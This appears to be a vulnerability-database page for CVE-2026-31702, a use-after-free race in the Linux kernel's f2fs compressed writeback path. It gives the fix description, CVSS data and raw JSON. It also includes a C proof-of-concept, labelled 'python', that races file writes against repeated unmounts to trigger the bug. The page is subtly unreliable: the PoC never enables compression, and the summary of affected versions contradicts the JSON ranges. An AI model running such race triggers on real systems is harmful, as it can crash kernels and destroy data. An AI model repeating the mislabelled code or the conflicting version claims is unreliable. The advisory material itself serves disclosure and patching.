Security Vulnerability Report
中文
CVE-2026-31702 CVSS 7.8 HIGH

CVE-2026-31702

Published: 2026-05-01 14:16:20
Last Modified: 2026-05-06 18:44:52
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: f2fs: fix use-after-free of sbi in f2fs_compress_write_end_io() In f2fs_compress_write_end_io(), dec_page_count(sbi, type) can bring the F2FS_WB_CP_DATA counter to zero, unblocking f2fs_wait_on_all_pages() in f2fs_put_super() on a concurrent unmount CPU. The unmount path then proceeds to call f2fs_destroy_page_array_cache(sbi), which destroys sbi->page_array_slab via kmem_cache_destroy(), and eventually kfree(sbi). Meanwhile, the bio completion callback is still executing: when it reaches page_array_free(sbi, ...), it dereferences sbi->page_array_slab — a destroyed slab cache — to call kmem_cache_free(), causing a use-after-free. This is the same class of bug as CVE-2026-23234 (which fixed the equivalent race in f2fs_write_end_io() in data.c), but in the compressed writeback completion path that was not covered by that fix. Fix this by moving dec_page_count() to after page_array_free(), so that all sbi accesses complete before the counter decrement that can unblock unmount. For non-last folios (where atomic_dec_return on cic->pending_pages is nonzero), dec_page_count is called immediately before returning — page_array_free is not reached on this path, so there is no post-decrement sbi access. For the last folio, page_array_free runs while the F2FS_WB_CP_DATA counter is still nonzero (this folio has not yet decremented it), keeping sbi alive, and dec_page_count runs as the final operation.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:7.1:rc1:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 6.8
Linux Kernel 6.6.x
Linux Kernel 6.7.x

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-31702 (Race Condition in f2fs) * This is a conceptual trigger. * Compile: gcc -o poc poc.c * Usage: ./poc /dev/sdX (where sdX is an f2fs formatted block device) */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/mount.h> #include <sys/stat.h> #include <pthread.h> #define MOUNT_POINT "/mnt/f2fs_test" #define LOOP_COUNT 1000 void *unmount_thread(void *arg) { for (int i = 0; i < LOOP_COUNT; i++) { system("umount " MOUNT_POINT " 2>/dev/null"); usleep(100); } return NULL; } void *write_thread(void *arg) { char buffer[4096]; int fd; for (int i = 0; i < LOOP_COUNT; i++) { fd = open(MOUNT_POINT "/test_file", O_WRONLY | O_CREAT | O_TRUNC, 0644); if (fd > 0) { // Write data to trigger compression and writeback for(int j=0; j<1024; j++) write(fd, buffer, 4096); fsync(fd); close(fd); } usleep(50); } return NULL; } int main(int argc, char *argv[]) { pthread_t t1, t2; if (argc < 2) { printf("Usage: %s <device>\n", argv[0]); return 1; } system("mkdir -p " MOUNT_POINT); // Mount loop to trigger the race for(int i=0; i<10; i++) { if (mount(argv[1], MOUNT_POINT, "f2fs", 0, NULL) == 0) { printf("Mounted successfully. Starting race...\n"); pthread_create(&t1, NULL, write_thread, NULL); pthread_create(&t2, NULL, unmount_thread, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); system("umount " MOUNT_POINT " 2>/dev/null"); } } return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31702", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T14:16:20.140", "lastModified": "2026-05-06T18:44:52.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix use-after-free of sbi in f2fs_compress_write_end_io()\n\nIn f2fs_compress_write_end_io(), dec_page_count(sbi, type) can bring\nthe F2FS_WB_CP_DATA counter to zero, unblocking\nf2fs_wait_on_all_pages() in f2fs_put_super() on a concurrent unmount\nCPU. The unmount path then proceeds to call\nf2fs_destroy_page_array_cache(sbi), which destroys\nsbi->page_array_slab via kmem_cache_destroy(), and eventually\nkfree(sbi). Meanwhile, the bio completion callback is still executing:\nwhen it reaches page_array_free(sbi, ...), it dereferences\nsbi->page_array_slab — a destroyed slab cache — to call\nkmem_cache_free(), causing a use-after-free.\n\nThis is the same class of bug as CVE-2026-23234 (which fixed the\nequivalent race in f2fs_write_end_io() in data.c), but in the\ncompressed writeback completion path that was not covered by that fix.\n\nFix this by moving dec_page_count() to after page_array_free(), so\nthat all sbi accesses complete before the counter decrement that can\nunblock unmount. For non-last folios (where atomic_dec_return on\ncic->pending_pages is nonzero), dec_page_count is called immediately\nbefore returning — page_array_free is not reached on this path, so\nthere is no post-decrement sbi access. For the last folio,\npage_array_free runs while the F2FS_WB_CP_DATA counter is still\nnonzero (this folio has not yet decremented it), keeping sbi alive,\nand dec_page_count runs as the final operation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.6", "versionEndExcluding": "6.6.136", "matchCriteriaId": "C8FF327A-4809-4F9C-B926-FF8D39DAAA1D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.84", "matchCriteriaId": "D4ECA0DE-AFF5-4688-B219-4CA2336CA5B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.25", "matchCriteriaId": "8B0A7E0E-F6D8-45DB-8CD9-01839FE40A6C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "7.0.2", "matchCriteriaId": "1BD58F1E-7C20-4C0D-92A2-FAC5CBFBE8A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.1:rc1:*:*:*:*:*:*", "matchCriteriaId": "B1EF7059-E670-45F4-B422-54C40FA86390"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.1:rc2:*:*:*:*:*:*", "matchCriteriaId": "0D38F0BF-A728-4133-A358-D44A2F7EE6D6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2c97dcb6147c8f7f25c629b93be1e69617de5d4a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/39d4ee19c1e7d753dd655aebee632271b171f43a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c76cf339b87975ae5b2c06d2d774d5667d25a12a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ef57cd3329b40c739b9a2e1a8a21ecc4171c6280", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f5154cf3ce1c8193f0c1891d3769f62740cfe6fe", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}